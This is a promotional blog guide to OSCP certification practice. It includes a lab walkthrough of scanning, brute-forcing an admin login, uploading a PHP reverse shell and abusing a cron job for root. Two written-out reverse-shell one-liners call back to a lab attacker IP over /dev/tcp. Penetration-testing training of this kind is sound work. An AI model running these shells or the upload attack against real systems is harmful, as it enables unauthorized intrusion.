OSCP Sample Question: Your First Step Toward Passing the OSCP Exam

If you’re on the path to becoming an elite penetration tester, chances are the Offensive Security Certified Professional (OSCP) certification is on your radar. As one of the most respected certifications in the cybersecurity industry, the OSCP is known for its hands-on approach and real-world applicability. But before diving into the 24-hour exam, many candidates want to know what they're up against. That’s why exploring an OSCP sample question is one of the smartest first steps you can take.

In this guide, we’ll break down what an OSCP sample question typically looks like, what skills it tests, and how to approach it effectively. If you're looking to sharpen your red teaming skills or just want to see if you're OSCP-ready, keep reading.

Table of Contents

1. What is the OSCP Certification?

   
   

2. Why Practice with OSCP Sample Questions?

   
   

3. Structure of a Typical OSCP Sample Question

   
   

4. OSCP Sample Question Example (Walkthrough)

   
   

5. Top Skills You’ll Need to Solve OSCP Questions

   
   

6. Where to Find More OSCP Sample Questions

   
   

7. Final Thoughts: Practice Makes Perfect

   
   

What is the OSCP Certification?

Offered by Offensive Security, the OSCP (Offensive Security Certified Professional) is a hands-on certification that tests your ability to identify, exploit, and report vulnerabilities in real-world systems. The exam consists of a 24-hour penetration test against several targets within a controlled lab environment.

Unlike multiple-choice certifications, OSCP challenges your actual hacking skills. You'll need to scan networks, enumerate services, exploit vulnerabilities, escalate privileges, and document everything in a professional report.

OSCP is not about theory—it's about demonstrating you can break into systems and provide value as an ethical hacker.

Why Practice with OSCP Sample Questions?

You wouldn’t take a marathon without training first, right? The same logic applies to the OSCP. Practicing with OSCP sample questions gives you a realistic glimpse into what the exam feels like.

Here are some benefits of tackling OSCP sample questions:

• Familiarity: Understand the exam’s format, difficulty, and expectations.

  
  

• Skill Gap Analysis: Identify what areas you need to improve on (e.g., privilege escalation, buffer overflows).

  
  

• Time Management: Learn how to manage your time effectively during the exam.

  
  

• Confidence Boost: Walk into the exam knowing what to expect, not guessing.

At PassYourCert.net, we offer curated sample questions to help you bridge the gap between learning and certification.

Structure of a Typical OSCP Sample Question

A good OSCP sample question mimics the real exam’s complexity and challenge. While Offensive Security doesn't publish official questions, community-created labs and platforms like TryHackMe or HackTheBox offer realistic scenarios.

Here’s what a typical OSCP sample question might involve:

• Target IP: A single vulnerable machine (e.g., 10.10.10.10)

  
  

• Objectives:

  
  

  • Enumerate open ports/services

    
    

  • Identify vulnerabilities

    
    

  • Exploit the system

    
    

  • Gain root/admin access

    
    

  • Capture proof.txt or root.txt as evidence

    
    

Sample questions are often structured with minimal guidance—just like the exam. You're expected to use your knowledge, tools, and creativity.

OSCP Sample Question Example (Walkthrough)

Let’s dive into a realistic OSCP sample question example to help you see what the exam might look like.

📌 Sample Scenario

Target IP: 192.168.56.101 Objective: Gain root access and capture /root/root.txt.

Step 1: Enumeration

Run a basic Nmap scan:

bash

CopyEdit

nmap -sC -sV -oN nmap.txt 192.168.56.101

Results:

pgsql

CopyEdit

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 80/tcp open http Apache httpd 2.4.18

The HTTP service looks interesting. Let’s explore that.

Step 2: Web Enumeration

Using gobuster to look for directories:

bash

CopyEdit

gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt

We discover /admin, and it's protected by login.

Using hydra, we brute-force the login with default credentials and succeed with:

• Username: admin

• Password: admin123

Step 3: Exploitation

Inside the /admin panel, we find a file upload functionality. Testing shows it does not sanitize file types. Uploading a PHP reverse shell and triggering it gives us a foothold.

php

CopyEdit

<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4444 0>&1'"); ?>

After catching the shell with netcat, we begin post-exploitation.

Step 4: Privilege Escalation

We upload and run LinPEAS to look for privilege escalation vectors. We find a misconfigured cron job running a script owned by our user. Injecting a reverse shell into that script gives us root access.

bash

CopyEdit

echo "bash -i >& /dev/tcp/192.168.56.1/4445 0>&1" > /home/user/backup.sh

Once the cron runs—BOOM—we have root. Capturing the flag:

bash

CopyEdit

cat /root/root.txt

Top Skills You’ll Need to Solve OSCP Questions

Mastering OSCP sample questions isn’t just about luck. You need a solid foundation in:

1. Information Gathering: Nmap, Nikto, Dirbuster

   
   

2. Web Exploitation: SQLi, XSS, file upload attacks

   
   

3. Privilege Escalation: Linux and Windows-specific techniques

   
   

4. Scripting: Bash, Python, PowerShell automation

   
   

5. Buffer Overflows: Crafting exploits manually (a must for the exam)

   
   

6. Report Writing: Documenting findings in a professional format

   
   

The OSCP exam rewards persistence, attention to detail, and resourcefulness.

Where to Find More OSCP Sample Questions

If you're looking for more OSCP sample questions, you're in luck. Here are some great resources:

• 🧠 PassYourCert OSCP Samples 

  High-quality questions and walkthroughs specifically tailored for OSCP candidates.

  
  

• 🐱 Hack The Box (HTB)

   Many retired machines mirror OSCP difficulty (e.g., Optimum, Legacy, Bashed).

  
  

• 🧠 TryHackMe OSCP Path 

  Dedicated learning paths and practice boxes for OSCP.

  
  

• 🔎 VulnHub

   Free downloadable VMs to simulate real-world challenges.

  
  

• 🛠 GitHub Repos

   Search for “OSCP-prep” or “OSCP labs” for community-made labs and scripts.

Final Thoughts: Practice Makes Perfect

The OSCP exam is no walk in the park—but with the right preparation and consistent practice using OSCP sample questions, you’ll be well on your way to passing.

Don’t just read walkthroughs—do them. Build your lab, take notes, break systems, fail, and try again. That’s how you learn.

“Try Harder” isn’t just a motto—it’s the mindset you need to earn your OSCP.